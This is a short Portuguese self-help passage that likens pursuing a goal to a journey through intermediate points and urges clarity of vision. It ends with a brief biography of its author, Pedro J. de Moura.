A lógica torna-se semelhante à de uma viagem. Se eu planeio ir do ponto A aoponto C, passo a saber que, não só tenho obrigatoriamente que passar pelo ponto B, como ganho consciência que tenho de passar pelos pontos A1, A2, A3 e assim sucessivamente até B. E o que isso me permite?

Permite-me ficar grato por ter atingindo qualquer um dos pontos porque sei que é um passo tão importante como qualquer outro para materializar a minha visão.

Se eu, começando no ponto A, não possuísse a visão daquilo que queria alcançar, como poderia saber se, chegando ao ponto A3 já estava bom ou se havia que continuar a prosseguir, e como saberia se a minha visão estava em C em D ou emE? Nunca saberia.

A clareza é uma das pedras chave. Seja claro e objectivo e siga a sua Visão!

Autor: Pedro J. de Moura nasceu em 1991 em Cascais onde estudou. Mais tarde, após concluir o ensino secundário ingressou na Universidade de Lisboa. Os conceitos dogmáticos e as verdades inquestionáveis nunca lhe fizeram muito sentido. Assim sendo, encontrou na Internet um veiculo para se expressar de forma livre e criativa enquanto Designer, Gestor de Redes Sociais e Produtor de Conteúdos.

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